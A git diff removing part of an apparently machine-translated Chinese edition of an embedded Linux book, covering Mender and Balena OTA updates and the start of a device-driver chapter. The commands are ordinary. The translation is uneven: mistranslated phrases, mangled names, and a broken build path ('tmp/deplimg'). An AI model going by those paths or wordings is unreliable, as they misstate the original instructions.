U-Boot,然后加载 Linux 内核: - -```sh -$ ../meta-mender/meta-mender-qemu/scripts/mender-qemu -[…] -[ OK ] Started Mender OTA update service. -[ OK ] Started Mender Connect service. -[ OK ] Started NFS status monitor for NFSv2/3 locking.. -[ OK ] Started Respond to IPv6 Node Information Queries. -[ OK ] Started Network Router Discovery Daemon. -[ OK ] Reached target Multi-User System. - Starting Update UTMP about System Runlevel Changes... -Poky (Yocto Project Reference Distro) 3.1.6 vexpress-qemu ttyAMA0 -vexpress-qemu login: -``` - -如果您看到的不是登录提示,而是如下所示的错误: - -```sh -mender-qemu: 117: qemu-system-arm: not found -``` - -然后在您的系统上安装`qemu-system-arm`并重新运行脚本: - -```sh -$ sudo apt install qemu-system-arm -``` - -以`root`身份登录,无需密码。 查看目标上的分区布局,我们可以看到以下内容: - -```sh -# fdisk -l /dev/mmcblk0 -Disk /dev/mmcblk0: 608 MiB, 637534208 bytes, 1245184 sectors -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: gpt -Disk identifier: 15F2C2E6-D574-4A14-A5F4-4D571185EE9D -Device Start End Sectors Size Type -/dev/mmcblk0p1 16384 49151 32768 16M EFI System -/dev/mmcblk0p2 49152 507903 458752 224M Linux filesystem -/dev/mmcblk0p3 507904 966655 458752 224M Linux filesystem -/dev/mmcblk0p4 966656 1245150 278495 136M Linux filesystem -``` - -总共有四个个分区: - -* **分区 1**:这包含 U-Boot 引导文件。 -* **分区 2 和 3**:它们包含 A/B 根文件系统:在此阶段,它们 - 是相同的。 -* **分区 4**:这只是包含其余分区的扩展分区。 - -运行`mount`命令显示第二个分区用作根文件系统,第三个分区接收更新: - -```sh -# mount -/dev/mmcblk0p2 on / type ext4 (rw,relatime) -[…] -``` - -现在有了 Mender 客户端,我们就可以开始安装更新了。 - -# 安装更新 - -现在,我们希望更改根文件系统,然后将其作为更新安装: - -1. 打开另一个 shell 并将自己放回工作构建目录: - - ```sh - $ source poky/oe-init-build-env build-mender-qemu - ``` - -2. Make a copy of the image we just built. This will be the live image that we are going to update: - - ```sh - $ cd tmp/deplimg/vexpress-qemu - $ cp core-image-full-cmdline-vexpress-qemu-grub.uefiimg \ - core-image-live-vexpress-qemu-grub.uefiimg - $ cd - - ``` - - 如果我们不这样做,QEMU 脚本将只加载 BitBake 生成的最新图像(包括更新),这违背了演示的目的。 - -3. 接下来,更改目标的主机名,在安装时很容易看到这一点。 为此,请编辑`conf/local.conf`并添加以下行: - - ```sh - hostname_pn-base-files = "vexpress-qemu-release2" - ``` - -4. Now we can build the image in the same way as before: - - ```sh - $ bitbake core-image-full-cmdline - ``` - - 这一次我们对包含完整新图像的`.uefiimg`文件不感兴趣。 相反,我们只希望采用`core-image-full-cmdline-vexpress-qemu-grub.mender`中的新根文件系统。 `.mender`文件采用 Mender 客户端可识别的格式。 `.mender`文件格式由压缩的`.tar`归档中的版本信息、头文件和根文件系统映像组成。 - -5. 下一步是将新构件部署到目标,在设备上本地启动更新,但从服务器接收更新。 通过输入*Ctrl*+*A*,然后输入*x*来终止您在前一个终端会话中启动的仿真器。 然后使用新复制的映像 - - ```sh - $ ../meta-mender/meta-mender-qemu/scripts/mender-qemu \ - core-image-live - ``` - - 再次启动 QEMU -6. 检查网络是否已配置,QEMU 位于`10.0.2.15`,主机位于`10.0.2.2`: - - ```sh - # ping 10.0.2.2 - PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data. - 64 bytes from 10.0.2.2: icmp_seq=1 ttl=255 time=0.286 ms - ^C - --- 10.0.2.2 ping statistics --- - 1 packets transmitted, 1 received, 0% packet loss, time 0ms - rtt min/avg/max/mdev = 0.286/0.286/0.286/0.000 ms - ``` - -7. Now, in another terminal session, start a web server on the host that can serve up the update: - - ```sh - $ cd tmp/deplimg/vexpress-qemu - $ python3 -m http.server - Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... - ``` - - 它正在端口`8000`上侦听。 使用完 Web 服务器后,键入*Ctrl*+*C*将其终止。 - -8. Back on the target, issue this command to get the update: - - ```sh - # mender --log-level info install \ - > http://10.0.2.2:8000/core-image-full-cmdline-vexpress-qemu-grub.mender - INFO[0751] Wrote 234881024/234881024 bytes to the inactive partition - INFO[0751] Enabling partition with new image installed to be a boot candidate: 3 - ``` - - 更新被写入第三个分区`/dev/mmcblk0p3`,而我们的根文件系统仍在分区 2`mmcblk0p2`上。 - -9. Reboot QEMU by entering *reboot* from the QEMU command line. Note that now the root filesystem is mounted on partition 3, and that the hostname has changed: - - ```sh - # mount - /dev/mmcblk0p3 on / type ext4 (rw,relatime) - […] - # hostname - vexpress-qemu-release2 - ``` - - 成功了! - -10. 还有一件事要做。 我们需要考虑引导循环的问题。 使用`fw_printenv`查看 U-Boot 变量,我们可以看到以下内容: - - ```sh - # fw_printenv upgrade_available - upgrade_available=1 - # fw_printenv bootcount - bootcount=1 - ``` - -如果系统在没有清除`bootcount`的情况下重新启动,U-Boot 应该会检测到它并回退到以前的安装。 - -让我们测试 U-Boot 的回退行为: - -1. 立即重新启动目标。 -2. 当目标再次启动时,我们看到 U-Boot 已恢复到 - 以前的安装: - - ```sh - # mount - /dev/mmcblk0p2 on / type ext4 (rw,relatime) - […] - # hostname - vexpress-qemu - ``` - -3. 现在,让我们重复更新过程: - - ```sh - # mender --log-level info install \ - > http://10.0.2.2:8000/core-image-full-cmdline-vexpress-qemu-grub.mender - # reboot - ``` - -4. 但这一次,在重新启动后,`commit`更改: - - ```sh - # mender commit - […] - # fw_printenv upgrade_available - upgrade_available=0 - # fw_printenv bootcount - bootcount=1 - ``` - -5. 清除`upgrade_available`后,U-Boot 将不再检查`bootcount`和,因此设备将继续挂载此更新的根文件系统。 加载进一步更新时,渲染客户端将清除`bootcount`并再次设置`upgrade_available`。 - -此示例从命令行使用 Mender 客户端在本地启动更新。 更新本身来自一台服务器,但也可以很容易地通过 USB 闪存驱动器或 SD 卡提供。 我们可以使用上面提到的其他镜像更新客户端来代替 Mender:SWUpdate 或 RAUC。 它们各有优势,但基本技术是相同的。 - -下一阶段是看看 OTA 更新在实践中是如何工作的。 - -# 使用 Mender 进行 OTA 更新 - -同样,我们将在设备上使用 Mender 客户端,但这一次在*管理模式*下操作它,此外,我们将配置一个服务器来部署更新,这样就不需要本地交互了。 Mainder 为此提供了一个开源服务器。 有关如何设置此演示服务器的文档,请参阅[https://docs.mender.io/2.4/getting-started/on-premise-installation](https://docs.mender.io/2.4/getting-started/on-premise-installation)。 - -安装需要安装 Docker Engine 版本 19.03 或更高版本。 请参阅 Docker 网站[https://docs.docker.com/engine/installation](https://docs.docker.com/engine/installation)。 它还需要 Docker compose version1.25 或更高版本,如下所述:[https://docs.docker.com/compose/install/](https://docs.docker.com/compose/install/)。 - -要验证系统上安装了哪些版本的 Docker 和 Docker,请使用以下命令: - -```sh -$ docker --version -Docker version 19.03.8, build afacb8b7f0 -$ docker-compose --version -docker-compose version 1.25.0, build unknown -``` - -渲染服务器还需要一个名为`jq`的命令行 JSON 解析器: - -```sh -$ sudo apt install jq -``` - -一旦全部安装了,然后安装 Mender 集成环境,如下所示: - -```sh -$ curl -L \ -https://github.com/mendersoftware/integration/archive/2.5.1.tar.gz | tar xz -$ cd integration-2.5.1 -$ ./demo up -Starting the Mender demo environment... -[…] -Creating a new user... -**************************************** -Username: mender-demo@example.com -Login password: D53444451DB6 -**************************************** -Please keep the password available, it will not be cached by the login script. -Mender demo server ready and running in the background. Copy credentials above and log in at https://localhost -Press Enter to show the logs. -Press Ctrl-C to stop the backend and quit. -``` - -运行`./demo up`脚本时,您将看到它下载了几百兆字节的 Docker 图像,这可能需要一些时间,具体取决于您的互联网连接速度。 一段时间后,您将看到它创建了一个新的演示用户和密码。 这意味着服务器已启动并正在运行。 - -现在,Mender Web 界面在 https://localhost/,上运行,将 Web 浏览器指向该 URL 并接受弹出的证书警告。 出现该警告是因为 Web 服务正在使用浏览器无法识别的自签名证书。 在登录页面中输入由 Mender 服务器生成的用户名和密码。 - -我们现在需要更改目标的配置,以便它将轮询本地服务器以获取更新。 在本演示中,我们通过在`hosts`文件中添加一行将`docker.mender.io`和`s3.docker.mender.io`服务器 URL 映射到地址`localhost`。 要使用 Yocto 项目进行此更改,请执行以下操作: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. 接下来,使用一个附加到创建`hosts`文件的配方(即`recipes-core/base-files/base-files_3.0.14.bbappend`)的文件创建一个层。 在`MELP/Chapter10/meta-ota`中已经有一个合适的层可以复制: - - ```sh - $ cp -a melp3/Chapter10/meta-ota . - ``` - -3. 获取工作构建目录: - - ```sh - $ source poky/oe-init-build-env build-mender-qemu - ``` - -4. Add the `meta-ota` layer: - - ```sh - $ bitbake-layers add-layer ../meta-ota - ``` - - 您的层结构现在应该包含八个层,包括`meta-oe`、`meta-mender-core`、`meta-mender-demo`、`meta-mender-qemu`和`meta-ota`。 - -5. 使用以下命令构建新映像: - - ```sh - $ bitbake core-image-full-cmdline - ``` - -6. 那就复印一份。 这将成为我们在此部分的实时图像: - - ```sh - $ cd tmp/deplimg/vexpress-qemu - $ cp core-image-full-cmdline-vexpress-qemu-grub.uefiimg \ - core-image-live-ota-vexpress-qemu-grub.uefiimg - $ cd - - ``` - -7. Boot up the live image: - - ```sh - $ ../meta-mender/meta-mender-qemu/scripts/mender-qemu \ - core-image-live-ota - ``` - - 几秒钟后,您将看到一个新设备出现在 Web 界面的**仪表板**上。 这发生得如此之快,因为为了演示系统,已经将 Mender 客户端配置为每 5 秒轮询服务器一次。 生产中将使用更长的轮询间隔:建议为 30 分钟。 - -8. See how this polling interval is configured by looking at the `/etc/mender/mender.conf` file on the target: - - ```sh - # cat /etc/mender/mender.conf - { - "InventoryPollIntervalSeconds": 5, - "RetryPollIntervalSeconds": 30, - "ServerURL": "https://docker.mender.io", - "TenantToken": "dummy", - "UpdatePollIntervalSeconds": 5 - } - ``` - - 还请注意其中的服务器 URL。 - -9. Back in the web UI, click on the green check mark to authorize the new device: - - ![Figure 10.4 – Accept device](img/B11566_10_04.jpg) - - 图 10.4-接受设备 - -10. 然后单击该设备的条目以查看详细信息。 - -现在,我们可以再次创建更新并部署它-这一次是,即 OTA: - -1. 更新`conf/local.conf`中的以下行,如下所示: - - ```sh - MENDER_ARTIFACT_NAME = "OTA-update1" - ``` - -2. Build the image once again: - - ```sh - $ bitbake core-image-full-cmdline - ``` - - 这将在`tmp/deplimg/vexpress-qemu`中生成一个新的`core-image-full-cmdline-vexpress-qemu-grub.mender`文件。 - -3. 打开**Releases**选项卡,然后单击左下角的紫色**Upload**按钮,将其导入 Web 界面。 -4. 浏览`tmp/deplimg/vexpress-qemu`中的`core-image-full-cmdline-vexpress-qemu-grub.mender`文件并上传: - -![Figure 10.5 – Upload an Artifact](img/B11566_10_05.jpg) - -图 10.5-上传人工产物 - -Mender 服务器应该将文件复制到服务器数据存储中,名称为的新工件**OTA-update1**应该出现在**Releases**下的。 - -要将更新部署到我们的 QEMU 设备,请执行以下操作: - -1. 单击**Devices**选项卡并选择该设备。 -2. 单击设备信息右下角的**Create a Deployment for this Device**选项。 -3. Select the **OTA-update1** artifact from the **Releases** page and click on the **Create Deployment with this Release** button: - - ![Figure 10.6 – Create a deployment](img/B11566_10_06.jpg) - - 图 10.6-创建展开 - -4. 在 - **创建展开**的**选择目标软件和设备**步骤中,单击**下一步**按钮上的。 -5. 单击**Create a Deployment**的**Review and Create**步骤中的**Create**按钮开始部署。 -6. The deployment should shortly transition from **Pending** to **In progress**: - - ![Figure 10.7 – In progress](img/B11566_10_07.jpg) - - 图 10.7-正在进行中 - -7. 大约 13 分钟后,Mender 客户端应该已经将更新写入备用文件系统映像,然后 QEMU 将重新引导并提交更新。 然后,Web 用户界面应报告**已完成**,现在客户端正在运行**OTA-Update1**: - -![Figure 10.8 – Device updated successfully](img/B11566_10_08.jpg) - -图 10.8-设备已成功更新 - -Mainder 整洁,并在许多商业产品中使用,但是有时我们只是想尽快将一个软件项目部署到一小批流行的开发主板上。 - -给小费 / 翻倒 / 倾覆 - -在对 Mender 服务器进行了几次试验之后,您可能希望清除状态并重新开始。 您可以使用在`integration2.5.1/`目录中输入的这两个命令来执行此操作: - -`./demo down` - -`./demo up` - -快速的应用开发是**Balena**的亮点。 我们将在本章的剩余部分使用 Balena 将一个简单的 Python 应用部署到 Raspberry PI 4。 - -# 使用 Balena 进行本地更新 - -Balena 使用个 Docker 容器部署软件更新。 设备运行的是 balenaOS,这是一个基于 Yocto 的 Linux 发行版,它附带了 Balena 的 Docker 兼容容器引擎 balenaEngine。 OTA 更新通过从 BalenaCloud 推送的版本自动发生,BalenaCloud 是一种用于管理设备群的托管服务。 Balena 还可以在*本地模式*下运行,因此更新来自本地主机上运行的服务器,而不是云。 在接下来的练习中,我们将坚持本地模式。 - -Balena 由 balena.io([https://balena.io](https://balena.io))编写和支持。 位于[balena.io](http://balena.io)的在线*文档*的*参考*部分提供了更多有关该软件的信息。 我们不会深入研究 Balena 是如何工作的,因为我们的目标是在少量设备上部署和自动更新软件,以实现快速开发。 - -Balena 为流行的开发板(如 Raspberry Pi 4 和 Beaglebone Black)提供预置的 balenaOS 图像。 下载这些图像需要 BalenaCloud 帐户。 - -## 创建帐户 - -即使您只打算在本地模式下操作 In,您也需要做的第一件事是注册一个 BalenaCloud 帐户。 您可以通过访问[https://dashboard.balena-cloud.com/signup](https://dashboard.balena-cloud.com/signup)并输入您的电子邮件地址和密码来执行此操作,如下所示: - -![Figure 10.9 – balenaCloud signup](img/B11566_10_09.jpg) - -图 10.9-BalenaCloud 注册 - -单击**注册**按钮提交表单,一旦完成处理,系统将提示您输入个人资料详细信息。 您可以选择跳过此表单,然后您将进入新帐户下的 BalenaCloud 仪表板。 - -如果您注销或您的会话到期,您可以导航到[https://dashboard.balena-cloud.com/login](https://dashboard.balena-cloud.com/login)并输入您注册时使用的电子邮件地址和密码,从而重新登录仪表板。 - -## 创建应用 - -在将 RaspberryPI 4 添加到 BalenaCloud 帐户之前,我们首先需要创建 -应用。 - -![Figure 10.10 – Create application](img/B11566_10_10.jpg) - -图 10.10-创建应用 - -以下是在 BalenaCloud 上为 Raspberry PI 4 创建应用的步骤: - -1. 使用您的电子邮件地址和密码登录到 BalenaCloud 仪表板。 -2. 单击左上角**应用**下的**创建应用**按钮,打开**创建应用**对话框。 -3. 输入新应用的名称,然后选择**Raspberry PI 4**作为**默认 - 设备类型**。 -4. 在**创建应用**对话框中的**创建新应用**按钮上单击以提交表格。 - -**应用类型**默认为**Starter**,这对于这些练习来说很好。 您的新应用应该出现在**应用**下的 BalenaCloud 仪表板中。 - -## 添加设备 - -现在我们在 BalenaCloud 上有了一个应用,让我们向其添加一个 Raspberry PI 4: - -1. 使用您的电子邮件地址和密码登录到 BalenaCloud 仪表板。 -2. 单击我们创建的新应用。 -3. Click on the **Add device** button from the **Devices** page: - - ![Figure 10.11 – Add device](img/B11566_10_11.jpg) - - 图 10.11-添加设备 - -4. 点击按钮将调出**添加新设备**对话框。 -5. 确保选定的设备类型为**覆盆子 PI 4**。 该选项应该已经选中,因为您创建的应用使用**Raspberry PI 4**作为**默认设备类型**。 -6. 确保**BalenaOS**是选定的操作系统。 -7. 确保所选的 BalenaOS 版本是最新版本。 该选项应已选中,因为**添加新设备**默认为最新的 BalenaOS 可用版本,并将其指定为**建议的**。 -8. 选择**开发**作为 BalenaOS 的版本。 需要开发映像才能启用本地模式,以便更好地进行测试和故障排除。 -9. 为**网络连接**选择**Wifi+以太网**。 你可以只选择**以太网**,但自动连接到 Wi-Fi 是一个非常方便的功能。 -10. Enter your Wi-Fi router's SSID and passphrase in their respective fields. Replace `RT-AC66U_B1_38_2G` in the following screenshot with your Wi-Fi router's SSID: - - ![Figure 10.12 – Add new device](img/B11566_10_12.jpg) - - 图 10.12-添加新设备 - -11. 单击**下载 BalenaOS**按钮。 -12. 将压缩的图像文件保存到主机。 - -我们现在有了一个 microSD 卡映像,我们可以使用它为您的应用的测试团队提供任意数量的 Raspberry PI 4。 - -现在您应该熟悉从主机配置 Raspberry PI 4 的步骤了。 找到您从 balenaCloud 下载的 balenaOS`img.zip`文件,并使用 Etcher 将其写入 microSD 卡。 将 microSD 卡插入 Raspberry PI 4 并通过 USB-C 端口通电。 - -需要一两分钟时间,Raspberry PI 4 才会出现在您的 BalenaCloud 仪表板的**Devices**页面上: - -![Figure 10.13 – Devices](img/B11566_10_13.jpg) - -图 10.13-设备 - -现在我们已经将 Raspberry PI 4 连接到 Balena 应用,我们需要启用本地模式,以便可以从附近的主机(而不是云)为其部署 OTA 更新: - -1. 从 BalenaCloud 仪表板的**Devices**页面单击目标 Raspberry PI 4。 我的设备名为**Late-Water**。 你的名字就不一样了。 -2. 点击设备仪表板上 Raspberry PI 4 灯泡旁边的向下箭头。 -3. 从下拉菜单中选择**启用本地模式**: - -![Figure 10.14 – Enable local mode](img/B11566_10_14.jpg) - -图 10.14-启用本地模式 - -启用本地模式后,设备仪表板中的**日志**和**终端**面板将不再可用。 设备状态从**在线(N 分钟)**变为**在线(本地模式)**。 - -现在我们的目标设备上启用了本地模式,我们几乎已经准备好在其中部署一些代码。 在此之前,我们需要安装 Balena CLI。 - -## 安装 CLI - -以下是在 Linux 主机计算机上安装 Balena CLI 的说明: - -1. 打开 Web 浏览器并导航到[https://github.com/balena-io/balena-cli/releases/latest](https://github.com/balena-io/balena-cli/releases/latest)上的最新 Balena CLI 版本页面。 -2. 单击 Linux 的最新 ZIP 文件进行下载。 查找格式为`balena-cli-vX.Y.Z-linux-x64-standalone.zip`的文件名,用主版本号、次版本号和补丁版本号替换`X`、`Y`和`Z`。 -3. Extract the zip file contents to your home directory: - - ```sh - $ cd ~ - $ unzip Downloads/balena-cli-v12.25.4-linux-x64-standalone.zip - ``` - - 提取的内容包含在`balena-cli`目录中。 - -4. Add the `balena-cli` directory to your `PATH` environment variable: - - ```sh - $ export PATH=$PATH:~/balena-cli - ``` - - 如果希望保留对`PATH`变量的更改,请在您的主目录中的`.bashrc`文件中添加如下一行。 - -5. Verify that the installation was successful: - - ```sh - $ balena version - 12.25.4 - ``` - - 撰写本文时,Balena CLI 的最新版本是 12.25.4。 - -现在我们有了一个工作正常的 Balena CLI,让我们扫描本地网络,查找我们配置的 Raspberry PI 4: - -```sh -$ sudo env "PATH=$PATH" balena scan -Reporting scan results -- - host: 01e9ff1.local - address: 192.168.50.129 - dockerInfo: - Containers: 1 - ContainersRunning: 1 - ContainersPaused: 0 - ContainersStopped: 0 - Images: 2 - Driver: overlay2 - SystemTime: 2020-10-26T23:44:44.37360414Z - KernelVersion: 5.4.58 - OperatingSystem: balenaOS 2.58.6+rev1 - Architecture: aarch64 - dockerVersion: - Version: 19.03.13-dev - ApiVersion: 1.40 -``` - -请注意 scan 输出中的主机名`01e9ff1.local`和 IP 地址`192.168.50.129`。 Raspberry PI 4 的主机名和 IP 地址会有所不同。 记录这两条信息,因为我们在剩下的练习中需要它们。 - -## 推送项目 - -让我们通过本地网络将一个 Python 项目推送到 Raspberry PI: - -1. 克隆一个项目,创建一个简单的“Hello World!” Python Web 服务器: - - ```sh - $ git clone https://github.com/balena-io-examples/balena-python-hello-world.git - ``` - -2. 导航到项目目录: - - ```sh - $ cd balena-python-hello-world - ``` - -3. Push the code to your Raspberry Pi 4: - - ```sh - $ balena push 01e9ff1.local - ``` - - 用设备的主机名替换`01e9ff1.local`参数。 - -4. 等待 Docker 镜像构建完成并启动,让应用在前台运行,以便记录到`stdout`。 -5. 从 Web 浏览器向位于[https://192.168.50.129](https://192.168.50.129)的 Web 服务器发出请求。 用您设备的 IP 地址替换`192.168.50.129`。 - -运行在 Raspberry PI 4 上的 Web 服务器应该响应“Hello World!” 并且在`balena push`的实时输出中应该出现如下所示的行: - -```sh -[Logs] [10/26/2020, 5:26:35 PM] [main] 192.168.50.146 - - [27/Oct/2020 00:26:35] "GET / HTTP/1.1" 200 - -``` - -日志条目中的 IP 地址应该是发出 Web 请求的计算机的 IP 地址。 每次刷新网页时都会出现一个新的日志条目。 要停止跟踪日志并返回 shell,请输入*Ctrl*+*C*。 容器将继续在目标设备和“Hello World!”上运行。 Web 服务器将继续为请求提供服务。 - -通过发出以下命令,我们可以随时重新开始跟踪日志: - -```sh -$ balena logs 01e9ff1.local -``` - -用设备的主机名替换`01e9ff1.local`参数。 - -这个简单 Web 服务器的源代码可以在项目目录中名为`main.py`的文件中找到: - -```sh -tree -. -├── Dockerfile.template -├── img -│ ├── enable-public-URLs.png -│ └── log-output.png -├── README.md -├── requirements.txt -└── src - └── main.py -``` - -现在让我们稍微修改一下项目源代码并重新部署: - -1. 在您喜欢的编辑器中打开`src/main.py`。 -2. 将`'Hello World!'`替换为`'Hello from Pi 4!'`并保存更改。 以下`git diff`输出捕获更改: - - ```sh - $ git diff - diff --git a/src/main.py b/src/main.py - index 940b2df..26321a1 100644 - --- a/src/main.py - +++ b/src/main.py - @@ -3,7 +3,7 @@ app = Flask(__name__) - - @app.route('/') - def hello_world(): - - return 'Hello World!' - + return 'Hello from Pi 4!' - - if __name__ == '__main__': - app.run(host='0.0.0.0', port=80) - ``` - -3. Push the new code to your Raspberry Pi 4: - - ```sh - $ balena push 01e9ff1.local - ``` - - 用设备的主机名替换`01e9ff1.local`参数。 - -4. 等待 Docker 镜像更新。 这一次的过程应该会快得多,因为有一个名为**Livepush**的智能缓存特性,该特性是本地模式所特有的。 -5. 从 Web 浏览器向位于[https://192.168.50.129](https://192.168.50.129)的 Web 服务器发出请求。 用您设备的 IP 地址替换`192.168.50.129`。 - -在 Raspberry PI 4 上运行的 Web 服务器应该响应“Hello from PI 4!” - -我们可以通过 IP 地址通过 SSH 连接到本地目标设备: - -```sh -$ balena ssh 192.168.50.129 -Last login: Tue Oct 27 00:32:04 2020 from 192.168.50.146 -root@01e9ff1:~# -``` - -用您设备的 IP 地址替换`192.168.50.129`。 这不是特别有用,因为应用在 Docker 容器内运行。 - -要通过 SSH 连接到运行 Python Web 服务器的容器并观察它在做什么,我们需要在`balena ssh`命令中包含服务名称: - -```sh -$ balena ssh 192.168.50.129 main -root@01e9ff1:/usr/src/app# ls -Dockerfile Dockerfile.template README.md requirements.txt src -root@01e9ff1:/usr/src/app# ps -ef -UID PID PPID C STIME TTY TIME CMD -root 1 0 0 00:26 pts/0 00:00:01 /usr/local/bin/python -u src/main.py -root 30 1 0 00:26 ? 00:00:00 /lib/systemd/systemd-udevd --daemon -root 80 0 2 00:48 pts/1 00:00:00 /bin/bash -root 88 80 0 00:48 pts/1 00:00:00 ps -ef -# -``` - -此启动应用的服务名称为`main`,如实时日志输出所示。 - -祝贺你!。 您已经成功地创建了 BalenaOS 映像和宿主开发环境,您和您的团队可以使用它们来迭代项目代码并快速重新部署到目标设备。 这不是一个小壮举。 以 Docker 容器的形式推送代码变更是全栈工程师非常习惯的常见开发流程。 有了 Balena,他们现在可以使用他们熟悉的技术在实际硬件上开发嵌入式 Linux 应用。 - -# 摘要 - -能够更新现场设备上的软件至少是一个有用的属性,如果设备连接到互联网,它就成为绝对必须的。 然而,在假设这不是一个很难解决的问题的前提下,它往往会被保留到项目的最后部分。 在这一章中,我希望我已经说明了与设计一个有效和健壮的更新机制相关的问题,而且还有几个开放源码选项可供选择。 你再也不需要重新发明轮子了。 - -最常用的方法,也是具有最多实际测试的方法,是对称映像(A/B)更新,或其近亲非对称(恢复)映像更新。 在这里,您可以选择 SWUpdate、RAUC、Mender 和 fwup。 最近的一项创新是原子文件更新,其形式为 OSTree。 这在减少需要下载的数据量和需要安装在目标上的冗余存储量方面具有良好的特点。 最后,随着 Docker 的激增,人们对集装式软件更新的需求也随之而来。 这就是巴雷纳采取的方法。 - -通过访问每个站点并应用 USB 记忆棒或 SD 卡中的更新来小规模部署更新是很常见的。 但是,如果您想要部署到远程位置或大规模部署,则需要**空中**(**OTA**)更新选项。 - -下一章将介绍如何通过使用设备驱动程序来控制系统的硬件组件,既包括作为内核一部分的传统意义上的驱动程序,也包括您可以从用户空间控制硬件的程度。** \ No newline at end of file diff --git a/docs/master-emb-linux-prog/11.md b/docs/master-emb-linux-prog/11.md deleted file mode 100644 index cf274093..00000000 --- a/docs/master-emb-linux-prog/11.md +++ /dev/null @@ -1,1031 +0,0 @@ -# 十一、与设备驱动程序接口 - -内核设备驱动程序是向系统的其余部分公开底层硬件的机制。 作为嵌入式系统的开发人员,您需要了解这些设备驱动程序如何适应整个体系结构,以及如何从 -用户空间程序访问它们。 您的系统可能会有一些新奇的硬件,您必须找出访问它们的方法。 在许多情况下,您会发现已经为您提供了设备驱动程序,您可以在不编写任何内核代码的情况下实现您想要的一切。 例如,您可以使用`sysfs`中的 -文件操作 GPIO 管脚和 LED,并且可以使用一些库来访问串行总线,包括**SPI**(**串行外围接口**)和**I**2**C**(**内部集成电路**)。 - -有很多地方可以了解如何编写设备驱动程序,但很少有人告诉您为什么要这样做,以及在这样做时有哪些选择。 这就是我想在这里介绍的内容。 但是,请记住,这不是一本专门编写内核设备驱动程序的书,这里给出的信息是为了帮助您导航,而不一定是在那里安家。 有许多好书和文章可以帮助您编写设备驱动程序,其中一些列在本章末尾的*进一步阅读*部分。 - -在本章中,我们将介绍以下主题: - -* 设备驱动程序的作用 -* 字符设备 -* 数据块设备 -* 网络设备 -* 在运行时查找有关驱动程序的信息 -* 查找正确的设备驱动程序 -* 用户空间中的设备驱动程序 -* 编写内核设备驱动程序 -* 发现硬件配置 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* 一种 microSD 卡读卡器和卡 -* ♪Beaglebone Black♪ -* 5V 1A 直流电源 -* 用于网络连接的以太网电缆和端口 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter11`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 设备驱动程序的角色 - -正如我在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中提到的,内核的功能之一是封装计算机系统的许多硬件接口,并以一致的方式将它们呈现给用户空间程序。 内核具有旨在简化设备驱动程序编写的框架,设备驱动程序是在上面的内核和下面的硬件之间进行协调的一段代码。 可以编写设备驱动程序来控制诸如 UART 或 MMC 控制器之类的物理设备,或者它可以表示诸如空设备(`/dev/null`)或内存磁盘之类的虚拟设备。 一个驱动程序可以控制多个同类设备。 - -内核设备驱动程序代码以高特权级别运行,内核的其余部分也是如此。 它可以完全访问处理器地址空间和硬件寄存器。 它可以处理中断和 DMA 传输。 它还可以利用复杂的内核基础设施进行同步和内存管理。 但是,您应该意识到这也有不利的一面;如果错误驱动程序出现问题,它可能会真的出错并导致系统崩溃。 因此,存在一个原则,即设备驱动程序应该尽可能简单,只向做出真正决策的应用提供信息。 您经常听到这被表示为*内核中没有策略*。 用户空间负责设置管理系统整体行为的策略。 例如,加载内核模块以响应外部事件(如插入新的 USB 设备)是用户空间程序`udev`的责任,而不是内核的责任。 内核只是提供了一种加载内核模块的方法。 - -在 Linux 中,主要有三种类型的设备驱动程序: - -* **字符**:这是,表示具有丰富功能且应用代码和驱动程序之间只有一层的无缓冲 I/O。 它是实现自定义设备驱动程序的首选。 -* **块**:它有一个接口,专为海量存储设备的块 I/O 量身定做。 有一层厚厚的缓冲层,旨在使磁盘尽可能快地读写,这使得它不适合其他任何东西。 -* **网络**:这类似于块设备,但用于发送和接收网络数据包,而不是磁盘块。 - -还有第四种类型,它将自己表示为伪文件系统之一中的一组文件。 例如,您可以通过 -`/sys/class/gpio`中的一组文件访问 GPIO 驱动程序,正如我将在本章后面描述的那样。 让我们从 -中更详细地了解这三种基本设备类型开始。 - -# 字符设备 - -字符设备在用户空间中由称为**设备节点**的特殊文件标识。 此文件名使用与其关联的主号和次号映射到设备驱动程序。 一般而言,**主编号**将设备节点映射到特定的设备驱动程序,而**次要编号**告诉驱动程序正在访问哪个接口。 例如,ARM 多功能 PB 上第一个串口的设备节点命名为`/dev/ttyAMA0`,其主编号为`204`,从编号为`64`。 第二个串行端口的设备节点具有相同的主编号,因为它由相同的设备驱动程序处理,但次要编号是`65`。 我们可以从下面的目录列表中看到所有四个串行端口的编号: - -```sh -# ls -l /dev/ttyAMA* -crw-rw---- 1 root root 204, 64 Jan 1 1970 /dev/ttyAMA0 -crw-rw---- 1 root root 204, 65 Jan 1 1970 /dev/ttyAMA1 -crw-rw---- 1 root root 204, 66 Jan 1 1970 /dev/ttyAMA2 -crw-rw---- 1 root root 204, 67 Jan 1 1970 /dev/ttyAMA3 -``` - -可以在`Documentation/devices.txt`的内核文档中找到标准主号和次号的列表。 该列表不会经常更新,也不包括上一段中描述的`ttyAMA`设备。 不过,如果您查看`drivers/tty/serial/amba-pl011.c`中的内核源代码,您将会看到声明主号和次号的位置: - -```sh -#define SERIAL_AMBA_MAJOR 204 -#define SERIAL_AMBA_MINOR 64 -``` - -在设备有多个实例的情况下,就像`ttyAMA`驱动程序一样,形成设备节点名称的约定是采用基本名称`ttyAMA`,并在本例中将实例编号从`0`附加到`3`。 - -正如我在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中提到的,可以通过几种方式创建设备节点: - -* `devtmpfs`:设备节点是在设备驱动程序使用驱动程序提供的基本名称(`ttyAMA`)和实例编号注册新设备接口时创建的。 -* `udev`或`mdev`(没有`devtmpfs`):基本上与`devtmpfs`相同,只是用户空间守护进程程序必须从`sysfs`提取设备名称并创建节点。 我稍后会谈到`sysfs`。 -* `mknod`:如果您使用的是静态设备节点,则使用`mknod`手动创建它们。 - 